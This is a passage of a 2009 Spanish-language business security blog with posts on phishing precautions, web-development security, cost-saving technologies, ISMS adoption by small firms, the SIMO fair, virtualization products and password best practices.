  3. Si alguna vez cambia el proceso de autenticación, antes de introducir más información llame al teléfono de soporte del banco para corroborar la existencia de los cambios.
Al igual que con los virus, en nuestras manos está evitar que este tipo de ataques sigan teniendo tanto éxito.

Como dice un proverbio italiano: "No todos los que tienen un gran cuchillo son verdugos".

domingo, 18 de octubre de 2009

Seguridad en la Web.

A la hora de contratar servicios para el desarrollo de la página web corporativa y/o una intranet, debemos tener en cuenta algunos aspectos primordiales. Actualmente, existes tres tipos de proveedores tecnológicos que ofrecen estos servicios:
  • Agencias de publicidad / diseñadores freelance
  • Empresas de desarrollo informático
  • Amigos / vecinos / parientes /etc, con curso de 100 horas de programación web. ;-)
Debemos tener claro que la página web corporativa de una empresa, en el mercado competitivo en el que nos encontramos, es la carta de presentación de nuestros servicios y productos al mundo, así como una puerta comercial al mundo. Teniendo esto en cuenta, debemos ser cuidadosos con los objetivos que nos debemos plantear para la página.
  • ¿Quiero gestionar el contenido?
  • ¿Quiero solo una tarjeta de presentación?
  • ¿Es importante el aspecto de la web?
  • ¿Necesito vender mis productos a través de la web?
Todas estas preguntas y alguna más, deberían definir que tipo de página web deseo y sobre todo, que tipo de empresa debo elegir para su desarrollo. Si bien, tanto en el primer caso, como en el segundo, los servicios ofrecidos son muy similares (diseño y desarrollo aceptables), en el último caso, muy posiblemente el diseño y/o desarrollo serán algo deficientes. Hasta el momento, no conozco a nadie que aparte de ser un buen diseñador, sea además un buen programador. Como para casi todas las tareas en esta vida, un enfoque multidisciplinar es la mejor opción.

Pero entonces, ¿qué es mejor, una empresa de publicidad o una empresa especializada en desarollo?

En este sentido, dependerá de los colaboradores que se utilice. Las empresas de diseño utilizan a empresas de desarrollo para realizar las tareas de desarrollo que no dominan, y las empresas de desarrollo utilizan diseñadores externos para la parte que no dominan.
Para un neófito, saber si un diseñador le gusta o no, lo tiene más o menos fácil visualizando trabajos anteriores de la persona o empresa y viendo si el estilo se adecua al gusto del cliente.
Sin embargo, un neófito tiene pocos puntos para valorar si un programador es bueno o no. Lo único que se ve es la existencia de una funcionalidad, pero no el cómo está hecho. Y por qué resalto la importancia del cómo está hecho?
Se resalta esta importancia porque en un desarrollo web, aparte de que las cosas funcionen, debe existir unos mínimos de calidad. Por ejemplo, deberíamos saber:
  • Cúal es la titulación de la persona que programa.
  • Cúal es la titulación de la persona que gestiona el proyecto.
  • Tienen en cuenta la seguridad en la programación?
Si bien, la titulación no es algo que determine si el desarrollo va a tener mejor calidad o no (malos profesionales los hay en todos los sectores), si que minimiza los riesgos de que el desarrollo sea malo. También minimiza esos riesgos los conocimientos de la persona que gestiona el proyecto, ya que esto puede completar las carencias del programador.
Pero, aun teniendo esto en cuenta, la mayoría de las veces no se tiene en cuenta la seguridad en el desarrollo. Y esto, que puede parecer una afirmación interesada, va más allá de una mera justificación vacia. Proveedores que ofrecen páginas web a sus clientes, carecen de las medidas adecuadas en el desarrollo. Esto actualmente es una realidad. Visitando el portfolio de algunos de estos proveedores he podido comprobar estas carencias. Es como si al comprar una puerta, te dan un tablero y una cuerdecita para anclarla al marco. Funcionalmente hace su cometido, pero no con la seguridad que debería.

Para finalizar, propongo la siguiente reflexión: ¿Cuanto dinero perdería mi empresa si en la web corporativa:
  1. modificasen la imagen de nuestra empresa por una peyorativa?
  2. infectase con virus a los clientes que entran a conocernos?
  3. robase información de nuestros clientes?
  4. promocionasen desde nuestra web a la competencia?
  5. modificasen los pedidos que nos realizan desde la web?
Espero que después de esta reflexión, haya mucha gente que pueda dormir esta noche.

martes, 13 de octubre de 2009

Formas de ahorrar con la Tecnología

Vamos a dar un pequeño repaso a las tecnologías que pueden ayudar a una empresa a ahorrar. En la coyuntura económica actual, debemos ser más eficientes y la tecnología es una herramienta que nos puede permitir hacerlo.
Las opciones son muy variopintas y dependerá un poco de las características de la empresa para implementar unas u otras, pero seguro que al implementarlas se obtendrá una reducción de costes importante en la empresa.
  1. Facturación Electrónica
    Aquellas empresas que tengan que emitir más de 100 facturas al mes o bien que tengan proyectos con la administración pública, es una opción que deben evaluar. Según algunos estudios, la emisión de una factura y almacenamiento de esta supone 1,46 € por factura, mientras que su emisión en digital ronda los 0,5. Para 100 facturas mensuales, supondría un ahorro de 1152 € anuales. Este tipo de solución tiene un ROI (retorno de inversión) bastante rápido.

  2. Virtualización de entornos
    Una de las tendencias actuales que se está realizando en las grandes empresas es la virtualización de entornos. Pero, ¿qué es eso de la virtualización?. Pongamos como ejemplo que es la utilización al máximo del 100% de los recursos hardware que disponemos. La mayoría de las aplicaciones no consumen el total de los recursos del sistema, con lo que desaprovechamos potencia de procesamiento. Virtualizando entornos, permitimos correr en una mismo hardware distintas aplicaciones sin que interfieran entre si, permitiendo el uso de distintos sistemas operativos (Windows 2003, Linux, ...) en la misma máquina.
    Este tipo de solución permitirá ahorrar recursos a aquellas empresas que dispongan de un parque de servidores mayor a 5 servidores (estimación aproximada).
    Las principales ventajas que tendremos virtualizando entornos serán, entre otras: Reducción costes administrativos, reducción de costes energéticos, reducción en costes hardware, mejora de los procesos de backups y restauración.

  3. Utilización de Firma Digital
    Si bien antes hemos comentado la implementación de la facturación electrónica, también se puede implementar en la empresa la utilización de firma digital para la realización de procesos administrativos. La recepción de partes de trabajo, envío de nóminas, partes de viaje y gastos, y otros procesos administrativos pueden ser implementados de manera automática y segura utilizando la firma digital. De esta manera, el coste asociado a la gestión de la información se reducirá drásticamente, dedicando los recursos administrativos a tareas de mayor valor añadido.

  4. Telefonía IP
    Actualmente, la teléfonía ya ha dejado de ser un monopolio de las grandes operadoras. Si bien, antes para implementar servicios de mensaje de bienvenida, buzones de mensajes o reconocimiento de voz requería la instalación de costosas centralitas en las empresas, actualmente, gracias a la telefonía IP podemos acceder a estos mismos servicios de una manera bastante más económica. También se pueden homogeneizar el acceso a las extensiones de la empresa en caso de tener ubicaciones separadas en distintos edificios.
    Todo esto se realiza gracias a la telefonía IP que utiliza las mismas redes de datos (TCP/IP e Internet) para transmitir la información de voz.
Si bien, las opciones expuestas no son novedosas en el mercado, si lo son todavía en las empresas, dado que su implantación y uso todavía es reducido.

En época de crisis, reducir solo en coste humano y no mejorar la eficiencia de nuestros procesos es como disponer de un coche antiguo que consume mucho y no hacerle las mejoras necesarias para reducir su coste y mantenimiento.

martes, 29 de septiembre de 2009

SGSIs y lo que hay detrás.

Siempre se ha dicho, que no es oro todo lo que reluce, y eso es lo que pasa a veces con la tecnología y también con los SGSI.

Esta semana he estado en unas charlas que se han dado en el ThinkTic y una de las charlas ha comentado el tema de los SGSI y la gestión de la seguridad. La charla en si no ha aportado nada nuevo, siempre y cuando conozcas algo de gestión de la seguridad, pero si ha sido interesante el debate o mesa redonda que se ha producido después. Una de las preguntas que han surgido ha sido, ¿están realmente las Pymes preparadas para implantar un SGSI?
Imagen Propiedad de ISO27001.ES
Es una cuestión que realmente es dificil de responder, pero algunos se aventuran a responder con un rotundo SI. Imagino, que aquellos que lo afirman tan rotundamente son aquellos que creen que lo que hacen es lo más importante del mundo y no hay nada mejor.
Pero, por favor, reflexionemos un poco.

Como profesional del sector, se me hace dificil pensar que una empresa de 7 empleados implemente un SGSI, aunque este sea limitado y adaptado. De hecho, antes que implantar un SGSI, seguramente esta empresa deba pensar en invertir en ciertas infraestructuras mínimas tanto tecnológicas como de seguridad. Digo esto basado en un estudio que se realizó el año pasado entre las Pymes y los comercios de La Rioja, y donde se comprobó que tenían un grado de desarrollo bajo en cuanto a las tareas relacionadas con la seguridad de la información y sistemas que manejaban.

Si el grado de desarrollo es tan bajo, ¿se les debe vender entonces un SGSI?. Yo creo que esto es como vender un coche formula 1 a una persona que quiere el coche solo para ir a por el pan. De hecho, la mayoría de las Pymes que lo implementan y que están suficientemente maduras para hacerlo, no son totalmente conscientes de la inversión (no solo en la implantación) de mantenimiento que requiere un SGSI.

Pongamos la analogía con las adecuaciones a la LOPD. Realmente, es un trabajo relativamente sencillo, tanto para el consultor, como para la empresa que se está adecuando. Sin embargo, cuando se les comenta que alguien de la empresa tiene que saber de que va la LOPD, gestionar las incidencias de acceso a los datos, etc. empiezan a ver que lo que parecía fácil, supone algo más de esfuerzo. En un SGSI, esto se multiplica considerablemente.

Quizás estas situaciones vengan dadas por una excesiva simplificación por parte de los profesionales del sector (aquí también entorno el mea culpa) ante aquellos servicios que nos parecen sencillos. Pero creo que realmente el problema está en aquellos que creen que es mejor vender, que esperar a que realmente el cliente esté preparado para comprar.

En próximos artículos, intentaremos dar una visión general de lo que es un SGSI.

miércoles, 23 de septiembre de 2009

SIMO Networks, el nuevo comienzo.

Esta semana se está celebrando en Madrid la "archiconocida" feria de nuevas tecnologías SIMO. Tras tener que cancelar la feria el año pasado, este año ha vuelto a abrir sus puertas; y como cualquier cosa que se celebra en estas épocas en las que estamos, en crisis.
La feria ha vuelto a sus orígenes celebrándose solo durante 3 días (de martes a jueves) y  enfocandose a los profesionales del sector. Atrás quedan los mega-stanes que en otros tiempos llamaban la atención con esperpénticos espectáculos. Este año podemos calificar al SIMO como austero, y centrado en charlas y divulgación.
En cuanto a novedades, este año se están viendo pocas. Lo más destacado, y empresa principal de la feria, es Windows 7 de Microsoft.
Sin embargo, más allá de actos publicitarios, si me gustaría destacar los elementos por los que el mercado está apostando fuerte:
  • Telefonía IP
  • Pizarras digitales.
A pesar de que en otras ferias como SITILAN hubo más presencia de empresas dedicadas a la telefonía ip (quizás por los costes entre una y otra), este sector del mercado sigue teniendo bastante tirón. Desde la utilización de sistemas de CISCO, D-link, etc. o sistemas más gratuitos como Asterisk, se han dejado ver y promocionar por la feria.
Asimismo, sorprende ver el tirón y empuje que están teniendo en el mercado las pizarras inteligentes. Elementos que a priori parecían estar destinados solamente a las aulas, comienzan a querer dar el salto a las salas de reuniones de las empresas. Todo un nuevo relanzamiento para retroproyectores, lámparas y accesorios.
En resumen, se puede decir que a pesar de la austeridad de este año y de las pocas novedades vistas, SIMO ha vuelto a los orígenes que le hicieron grande. Esperemos que en próximos años, y ya sin la crisis pegada a la chepa de las empresas, podamos ver una buena feria con novedades interesantes.

lunes, 21 de septiembre de 2009

Microsoft no alcanza a sus competidores en Virtualización

La prestigiosa empresa consultora Burton Group a elaborado un informe comparativo sobre las tres soluciones de virtualización más importantes del mercado: VMware's vSphere 4.0, Citrix XenServer 5.5 y Hyper-V R2 de Microsoft.

Según este informe, la solución de Microsoft carece de una serie de funcionalidades básicas en este tipo de soluciones. El informe comparaba funcionalidades que cubrían la granularidad de la configuración, rendimiento de la solución, escalabilidad e integración con los servicios de administración existentes en las empresas.

De las funcionalidades que más se echan en falta en la solución de Microsoft encontramos la falta de tolerancia a fallos, o algunas características en el terreno de seguridad como la integridad de ficheros de configuración o la migración de máquinas virtuales en vivo, entre otras.

Está claro que en el creciente mercado de la virtualización se está librando una lucha que nadie quiere perder. Los entornos virtualizados y su inclusión en la "nube" es una tarta demasiado jugosa como para dar concesiones a los competidores.

A pesar de los beneficios que ofrecen a las empresas la virtualización de sus sistemas, debemos tener en cuenta que también nos añaden nuevos retos en cuanto a su seguridad que muchas veces no son tenidos en cuenta.

El que esté interesado en el estudio lo podrá encontrar aquí: Informe Virtualización de Burton Group.

domingo, 20 de septiembre de 2009

El Paradigma de la Seguridad en la PYME

En la actual situación económica, hablar de coneceptos empresariales que no mejoren los ingresos directos, puede resultar vanal. Conceptos como la seguridad, están muy lejos del actual sentir empresarial. En periodos de recesión, el ahorro de costes y el mantenimiento o aumento de ingresos son las máximas que todos buscamos. Y dentro de estos parámetros, el paradigma de la seguridad de la información no tiene cabida.

Según estudios sectoriales, algunas grandes empresas realizan más inversiones en seguridad cuando hay épocas de crisis que cuando hay una coyuntura económica favorable. La pregunta directa que aparece en mi mente es:

¿Si la inversión en seguridad de la información no está directamente relacionada con un aumento de ingresos, por qué estas empresas invierten más dinero?

Quizás la respuesta que mejor explique esto sea que lo realizan para evitar mayores pérdidas. Como todo el mundo sabe, en una empresa hay tres maneras de aumentar los beneficios:
  1. Aumentando las ventas de productos y servicios.
  2. Disminuyendo los costes asociados a la producción, administración y gestión interna.
  3. Disminuyendo los costes indirectos asociados a perdidas imprevistas (por ejemplo, en un comercio serían los hurtos)
Teniendo en cuenta estos vectores, la inversión en seguridad residiría en el tercer punto. Es una ayuda para reducir y minimizar los costes asociados a perdidas. Pero teniendo esto en cuenta, aparece otra pregunta dificil de contestar:

¿Esta la PYME preparada para afrontar inversiones que disminuyan costes indirectos que no sabe si van a producirse?

Y creo que aquí se depende un poco de la ideosincracia de los negocios. Es decir, hay sectores donde esas perdidas son más evidentes. Por ejemplo, los supermercados y tiendas de caramelos y frutos secos suelen cuantificar un porcentaje de pérdidas mensuales debido a estos costes indirectos. En ese sentido, parece claro que ellos si que deberían estar concienciados en realizar determinado tipo de inversiones. Pero que sucede cuando esas perdidas no son tan evidentes. Que sucede con empresas que a lo mejor disponen de venta a través de Internet, o simplemente disponen de una página web, o quizás de una red wifi en la empresa que les facilita la conexión a su red interna.

Según mi experiencia, estas empresas no inviernten para mejorar la seguridad de sus empresas. De hecho, incluso en épocas de bonanza económica les cuesta realizar este tipo de inversiones. Pero quizás os estéis preguntando, bueno, y este tipo de empresas, ¿qué costes indirectos pueden sufrir si solo tienen una página web?

Imaginense, que sucedería si en la página web de una empresa, por un fallo de seguridad, fuese cambiada por una redirección a la página de la competencia. Imaginense, si en esa página web donde se reciben pedidos de clientes, estos pedidos nunca llegan a la empresa porque simplemente desaparecen del sistema. En estos casos, la perdida de confianza de nuestros clientes presentes o futuros, y el daño a la imagen de la empresa es incuantificable.

Con estos argumentos, debemos concienciarnos en que la inversión en seguridad de la información es tan importante como la inversión en publicidad y marketing.

En futuras entradas, comentaré lo que escuché en un congreso de seguridad sobre lo que denominaba el Santiago Moral (Director de seguridad lógica de BBVA) “El mito de Casandra” en el rol de Responsable de seguridad de una empresa. Quizás, con ese ejemplo, comprenderemos mejor lo difícil que puede llegar a justificar ciertas inversiones de manera interna, y mucho más en el plano comercial.

domingo, 6 de septiembre de 2009

Los hombres usan peores contraseñas que las mujeres.

Bienvenidos al blog sobre seguridad y tecnología de IBERDAT SECURITY. Espero que a lo largo de los distintos artículos que irán apareciendo podamos ir aportando ideas, conceptos y nuevos puntos de vista.
Empecemos hablando sobre la autenticación a través de usuario y contraseña, la más común en el desarrollo de aplicaciones. Recientemiente, según una encuenta de seguridad realizada por PC Tools, las mujeres utilizan mejores contraseñas que los hombres. Según esta misma encuesta el 47 % de los hombres utiliza la misma contraseña en las distintas páginas web que visita, mientras que solo un 26 % de las mujeres lo realizan.
Estos resultados chocan con el porcentaje de hombres y mujeres que son conscientes de los riesgos y peligros que esa práctica puede suponer. El 85% de los hombres son plenamente conscientes de los peligros mientras que solo  un 44% de las mujeres lo son.
Parece ser que los hombres "pasan" de los riesgos que supone la utilización de una misma contraseña en distintos sitios o la utilización de una mala contraseña, a pesar de ser conscientes de ellos.
Viendo estos resultados, creo que nunca está de más la concienciación sobre las buenas prácticas en la utilización de contraseñas, y los riesgos que una mala contraseña puede contraer.
Buenas Prácticas
  • La mínima longitud de una contraseña debe ser 8 caracteres.
  • Cuando se habla de caracteres, estos deben incluir letras Mayúsculas, Minúsculas, Números y signos de puntuación como _-,.$%() o aquellos que la aplicación permita. Una buena contraseña, debe tener por lo menos caracteres de 3 de los 4 grupos mencionados.
  • La contraseña no debe ser una palabra de diccionario. Para formar una contraseña adecuada se recomienda la utilización de frases para formarla (p. ej.: El perro de San Roque no tiene rabo -> EpdSRntr)
  • Cada 6 meses se deberían cambiar las contraseñas que tenemos en los sitios web.
  • Las contraseñas no deben estar apuntadas en ningún papel o en ningún fichero en claro que podamos tener, y sobre todo no apuntar en el mismo papel o fichero a que software o web pertenecen.
Riesgos
  • La utilización de la misma contraseña en distintas web puede acarrear el acceso indebido a todas nuestras cuentas en caso de que alguien averigüase la contraseña. Imagínate que por un fallo de seguridad en un foro al que accedes, el atacante podría acceder sin problemas a tu correo o a tu cuenta bancaria porque tiene la misma contraseña.
  • Una contraseña de menos de 7 caracteres puede permitir a un atacante realizar ataques de "fuerza bruta" para conseguir averiguar tu contraseña.
  • A pesar que los ataques de fuerza bruta llevan tiempo, si no cambiamos nunca de contraseña, estamos dando tiempo infinito para que alguien intente averiguar la contraseña.
Si bien muchos de estos riesgos son conocidos por la mayoría de las empresas que ofrecen servicios web a sus clientes y ofrecen medidas paliativas para evitar ataques, no olvidemos que somo nosotros los responsables del uso adecuado de las contraseñas.
Seguro que muchos estarán pensando: "Pero, ¿quién es el majo que se aprende 30 contraseñas distintas para acceder a los distintos sitios a los que accede?". Para ayudar a aquellos que tengan su memoria ocupada por información más importante que sus contraseñas, existen en Internet soluciones tanto comerciales como Freeware para el almacenamiento de contraseñas de manera segura. Así, solo deberán recordar una sola contraseña, la del acceso al programa ;-)
Bueno, espero que este artículo sirva como recordatorio sobre uno de los conceptos básicos de la seguridad.